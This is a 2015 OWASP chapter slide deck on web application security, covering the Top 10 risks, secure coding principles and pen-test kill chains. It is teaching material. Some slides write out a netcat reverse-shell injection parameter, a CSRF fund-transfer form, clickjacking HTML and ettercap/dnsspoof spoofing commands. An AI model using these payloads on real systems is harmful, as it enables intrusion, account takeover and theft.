Welcome Rochester OWASP Chapter

Ralph Durkee - Durkee Consulting, Inc.
info@rd1.net
OWASP: About US

- OWASP = Open Web Application Security Project
- Dedicated to making application security superior
- 200 Chapters, and Hundreds of Projects
- ROC Chapter www.owasp.org/rochester
- 2 mailing list
  - Announcements Only
  - Discussion List
- Meetings approximately every quarter
- Individual OWASP membership is only $50/yr
- AppSecUSA 2015 is next week in San Francisco
Next ROC OWASP Meet

NodeJS Security – Jason Ross - Friday Nov 13th
- NodeJS an industry standard for agile web applications.
- NodeJS – what it is, what it isn’t, how to get it running
- Examine common problems and security risks
- Options to secure and audit NodeJS projects.
- **Jason Ross** is a Senior Consultant specializing in web application testing, Android application and device testing, and incident response management, security research, speaker at BlackHat DC, Bsides, Def CON
Who's Ralph Durkee?

- Principal Security Consultant
  Durkee Consulting Inc.
- Founder of Rochester OWASP
- Past President of Rochester ISSA
- Application Security Consulting, development, auditing, application penetration testing
- Penetration Tester, Security Trainer, Incident Handler and Auditor
- Certifications: CISSP, C|EH, GSEC, GCIH, GSNA, GCIA, GPEN
Agenda

- Why Application Security?
- Application Penetration Testing Basics
- OWASP Top 10
  - A2 – Broken Auth and Session Management
  - A7 – Missing Functional Level Control
  - A8 – Cross-Site Request Forgery
- OWASP Secure Coding Principles
  - SCP3 - Principle of Least Privilege
  - SCP4 - Principle of Defense in Depth
- Penetration Testing Kill Chain Examples
Application Security is Hot

- Information Security is **Hot**
  
  Cisco estimates a million unfilled security jobs **worldwide**. *(Network World - Mar 2015)*

- Application Development is even **Hotter**
  
  10 hottest IT skills for **2015** *(Network World Nov 2014)*
  
  #1 = Programming/Application Development
  
  #4 = Security/Compliance Governance
  
  #5 = Web Development

- **Combine both: Application Security**
  if you really want to be in demand
Why is Application Security so Hot?

- App Security is both Critical and Challenging
- Three Major Attack Trends (same since 2004)
  - Clients Attacks (via email, web, phishing)
  - Targeted Attacks (esp. against Mid-sized org's)
  - Application Attacks
- Traditional Network Security isn't sufficient
- Web Application Firewalls are helpful, but not sufficient
- Applications must protect themselves
# Attacks, Layers & Security Controls

<table>
<thead>
<tr>
<th>Attack Layers of the “Stack”</th>
<th>Security Controls</th>
</tr>
</thead>
<tbody>
<tr>
<td>Network Protocols</td>
<td>Firewalls, Routers, VPNs, IDS &amp; IPS and Vulnerability Scanners</td>
</tr>
<tr>
<td>Operating Systems</td>
<td>Operating System Patches and Configuration, Authentication, Authorization, Encryption, and Vulnerability Scanners</td>
</tr>
<tr>
<td>Commercial and Open Source Development Platforms &amp; Application Tiers</td>
<td>Minimize Services, Application Configuration, Patches, Application Level Authentication Authorization, and Vulnerability Scanners</td>
</tr>
<tr>
<td>Custom Application Code</td>
<td>Secure Software Development Life-cycle, Application Vulnerability Scanners, Application Penetration Testing &amp; Abuse Case Testing</td>
</tr>
<tr>
<td>People and Processes</td>
<td>User Training Against Social Engineering &amp; Phishing</td>
</tr>
</tbody>
</table>
App Security is Hard!

- Android StageFright Vulnerability
  - Announce July 21 2015
  - First fixes available in early Aug, left the libStageFright still with vulnerabilities
  - More patches rolled out in August
- Many many more examples where large, well funded organizations don't get software security right on the first or even on the second try.
What makes App Security so Hard?

- Applications are often a complex with many layers
- The Attacker only needs one weakness in any one layer or component
- Application Security isn't a priority at the top of most organizations
- Custom application requires custom security
- Application Penetration Testing is cool, I love it, but I admit it doesn't solve the root problem.
  
  *Jeff Williams, 2009 AppSec: “We can't hack ourselves secure”*

- Application Security is relatively expensive, as it isn't a one time cost or one time fix but must be integrated into the development life-cycle.

- Applications must protect themselves

Ralph Durkee

OWASP Application Security 2015 (c) Creative Commons 3.0
Application Penetration Testing Basics: Using a Proxy

- Tool: Proxy such as Burp or OWASP ZAP
- Proxies between the Browser and Web App, or between the Mobile App and the Web Service
Application Penetration Testing Basics: Using a Proxy (2)

- Everything can be modified (cookies, headers, hidden and normal parameters)
- Look for what is assumed or what is trusted
- Example: change AccessControlMatrix.help to AccessControlMatrix.help"%26nc%20pt_laptop%20443|%20"/bin/bash
Exploit Results – Connection to PT netcat listener with ping cmd executed as evidence.

1. `# netcat -vnl 443`
   Connection from 10.20.30.106 port 443 [tcp/*] accepted
   `ping -c 1 10.20.30.101`

2. `# tcpdump -nn host 10.20.30.106 and icmp`
   tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
   listening on eth0, link-type EN10MB (Ethernet), capture size 65535 byte

4. 13:21:50.486938 IP 10.20.30.106 > 10.20.30.101: ICMP echo request, id 4012, seq 1, length 64

5. 13:21:50.486959 IP 10.20.30.101 > 172.20.30.106: ICMP echo reply, id 4012, seq 1, length 64
### Three of the OWASP Top 10

<table>
<thead>
<tr>
<th>A1 – Injection</th>
<th>A6 – Sensitive Data Exposure</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2 - Broken Authentication and Session Management</td>
<td>A7 – Missing Function Level Access Control</td>
</tr>
<tr>
<td>A3 – Cross-Site Scripting (XSS)</td>
<td>A8 - Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A4 – Insecure Direct Object References</td>
<td>A9 - Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A5 – Security Misconfiguration</td>
<td>A10 – Unvalidated Redirects and Forwards</td>
</tr>
</tbody>
</table>
OWASP Top 10 – A2: Broken Auth and Session Management

A2 RISKS

- Authentication and session management are often not implemented correctly
- Attackers may steal, discover, guess, or fix the session ID value.
- Having the session ID allows the attacker to assume the users’ identity and privileges
OWASP Top 10 – A2: Broken Auth and Session Management

A2 ATTACKS

- Guessing of Session IDs can be easily automated
- Sessions IDs can be disclosed via
  - Cross-site scripting to send the session ID to the attacker
  - Disclosed over the network via HTTP
  - Disclosed by MITM due to weak HTTPS configurations
  - Disclosed in a URL
  - Disclosed in a session on shared computer
- Sessions IDs can be predetermined via Session Fixation attacks. *(The attacker provides a session ID via phishing, XSS, or malicious website)*
**OWASP Top 10 – A2: Broken Auth and Session Management**

### A2 DEFENSES

- Do NOT roll-your-own authentication or Session management, it is really hard!
- Use a built-in session management.
- Session IDs must be long and unpredictable \((>= 128\text{ bits} / 16\text{ bytes})\)
- Server side Session timeout and invalidation
- Change value when privileges change (such as login)
- Stored in Cookie with Secure & HttpOnly flags & limited domain and path attributes, expires at end of the session

See Also

**OWASP Top 10 – A7: Missing Functional Level Access Control**

**A7 RISKS**

- Access rights are checked before the functionality is made visible in the UI.
- Then the application fails to verify the same access rights on the server when the function is accessed.
- Attackers may access privileged functions by forceful browsing or a forged requests without proper authorization.
A7 ATTACKS

- **Forceful Browsing** - Just entering the correct URL in the browser to access the privileged operations

- **Parameter Tampering** – May change parameters values beyond the listed options.

- **Forged Request** – Just because a form wasn't provided doesn't mean a request can't be submitted.
OWASP Top 10 – A7: Missing Functional Level Access Control

A7 DEFENSES

- Authorization module should be consistent and easy to analyze so that it can be audited.
- Authorization should deny access by default.
- Authorization module should be external to the main code, so that it's not hard coded in each page or function.
- For example, some application frameworks may check privileges before access to specific paths or directories.
OWASP Top 10 – A8: Cross-Site Request Forgery

A8 RISKS

- A CSRF attack tricks a logged-on victim’s browser to send a forged request
- The request includes the victim’s session cookie so that it is authenticated and authorized
- The application accepts the request as legitimate
- Forged request may be created via XSS, Phishing, Malicious or compromised website, or other techniques.
OWASP Top 10 – A8: Cross-Site Request Forgery

A8 ATTACKS

- High value operations that change the state of the application are targeted, such as
  - Change the password, or account details
  - Admin operations such as create account or change the security options.
  - Make purchases or transfer money
  - Creating a Phishing email with malicious link, and/or place the attack on a website.
  - Inject the attack code via MITM attacks
OWASP Top 10 – A8: Cross-Site Request Forgery

A8 ATTACK EXAMPLES

- Forged request to enable external access to a firewall or VPN
- Change account email, or password
- Change account physical shipping address
- Transfer funds to another account.

```html
<form action="http://bank.example.com/transfer.do" method="POST">
  <input type="hidden" name="acct" value="durkee"/>
  <input type="hidden" name="amount" value="100000"/>
  <input type="submit" value="View my pictures"/>
</form>
```
A8 DEFENSES

- Include a Anti-CSRF token in each requests.
  - The token must be unpredictable
  - Must change at least per session
  - Must validated correct token on the server
  - Use hidden field, rather than URL parameter
  - Can be used across the entire application or just for sensitive operations.

- OWASP CSRF Guard or OWASP ESAPI can be used for Java, .Net or PHP.

- Alternative may require re-authentication, or use CAPTCHA instead of a random token.

Ralph Durkee

OWASP Application Security 2015 (c) Creative Commons 3.0
OWASP Secure Coding Principles

- SCP1 Minimize Attack Surface Area
- SCP2 Establish Secure Defaults
- SCP3 Principle of Least Privilege
- SCP4 Principle of Defense in Depth
- SCP5 Fail Securely
- SCP6 Don’t Trust Services
- SCP7 Separation of Duties
- SCP8 Avoid Security by Obscurity
- SCP9 Keep Security Simple
- SCP10 Fix Security Issues Correctly
Accounts are given least privileges required to perform their operations.

- Applies to user accounts, and especially to application accounts.
- Do not use administrative accounts for application access.
- Use read-only access when possible.
- Limit DB access to specific tables, or at least to specific database.
- Use separate accounts for sensitive information.
**OWASP SCP4 - Principle of Defense in depth**

- Multiple layers of controls are necessary
- A single control will fail at some time and is insufficient by itself
- Over time application modules are used in ways not originally anticipated
- Each software module should validate inputs and sanitize or encode its outputs appropriately.
- Generate error logs of failed operations.
Application Exploit Kill Chain Example 1 – The Vulnerabilities

- **Application Exploit Kill Chain** - Attackers exploit multiple vulnerabilities to accomplish their goal

**Step 1) Recon Testing:** The attacker probes and tests the web application to discover the vulnerabilities.

- **V1** - Application is only partially HTTPS enabled. Credentials are sent via HTTPS, but initial page and some scripts are accessed via HTTP.
- **V2** - The application is vulnerable to CSRF on administrative operations
- **V3** – The application is vulnerable to click-jacking.
Application Exploit Kill Chain Example 1 – The Attack

Step 2) CSRF: The attacker creates a CSRF form to create a new administrative user with a chosen name and password provided in hidden fields. Visually the form is just one big submit button.

Step 3) ClickJack: A web page is created with the web application in an iframe, but the CSRF form is placed invisibly in front of the web application for the ClickJack attack.

(actually we'll use 40% opaque in order to see the attack)
Example Clickjack w/ CSRF-<head>

```
<head>
  <style type="text/css">
    * { margin:0; padding:0; }
    Body { background:#ffffff; }
    ...
</head>

#content {
  width: 700px; height: 700px;
  margin-top: 150px; margin-left: 150px;
}
#clickjack {
  position: absolute;
  left: 172px; top: 60px;
  filter: alpha(opacity=40);
  opacity:0.4
}
//-->\</style>
</head>
```
Example Clickjack w/ CSRF - <body>

```html
<body>
  <div id="content">
    <iframe src="http://badapp.example.com/"
      width="600" height="600" >
    </iframe>
  </div>
  <iframe id="clickjack" src="CSRF1.html"
    width="500" height="500"
    scrolling="no" frameborder="none">
  </iframe>
</body>
```
Step 4) The attacker uses DNS spoofing of badapp.example.com to draw the victim to the malicious web page. We'll use ettercap for arp spoofing combined with dnsspoof this time.

Gateway = 10.20.30.1 and Victim = 10.20.30.106

```
# cat spoof_hosts # (Attacker's malicious website)
10.23.154.197 badapp.example.com

Perform two-way ARP spoof between victim and gateway.
# ettercap -i eth0 -Tq -M arp /10.20.30.1/ /10.20.30.106/

Spoofs DNS reply for badapp when it sees the DNS request
# dnsspoof -i eth0 -f spoof_hosts
dnsspoof: listening on eth0 [udp dst port 53 and not src 10.20.30.101]
10.20.30.106.18600 > 10.20.30.1.53: 16302+ A? badapp.example.com
10.20.30.106.18600 > 10.20.30.1.53: 16302+ A? badapp.example.com
```
Application Exploit Kill Chain
Example 1 – The Result
Example 2: Application Vulnerabilities

**V1** - Application discloses detailed system runtime information to administrative users including running process environment variables and start up options.

**V2** – The middleware application account and password are passed to the application as a command line argument instead of from a protected file.

**V3** – The application uses an administrative account to access the middleware.

**V4** – The URL for detailed system runtime information is accessible using forceful browsing by external non-admin users.
Application Exploit Kill Chain
Example 2 Attack

1. Login as an external unprivileged customer
2. Copy the URL for system runtime information into the browser.
3. Search for and collect the middleware login and password.
4. Unfortunately, getting external access to the middleware is not in scope.

Remember: Professionals always stay in scope!
App Security is very challenging and often not well understood

Knowing how to build secure and break insecure applications are important, in-demand skills

Professional App Pen Testers always get permission first and stay within scope.

Use OWASP Resources like WebGoat to train yourself

Attend a OWASP chapter meetings and conferences.

Sign-up on Rochester OWASP Chapter mailing lists

https://www.OWASP.org/rochester
THANK YOU!

Ralph Durkee - Durkee Consulting, Inc.
info@rd1.net
Resources - Non-Profit Groups & Events

OWASP Rochester Chapter
https://www.OWASP.org/rochester

OWASP Top 10
https://www.owasp.org/index.php/Top10

OWASP Secure Coding Principles
https://www.owasp.org/index.php/Secure_Coding_Principles

Rochester ISSA Chapter
https://www.RocIssa.org/

Rochester Security Summit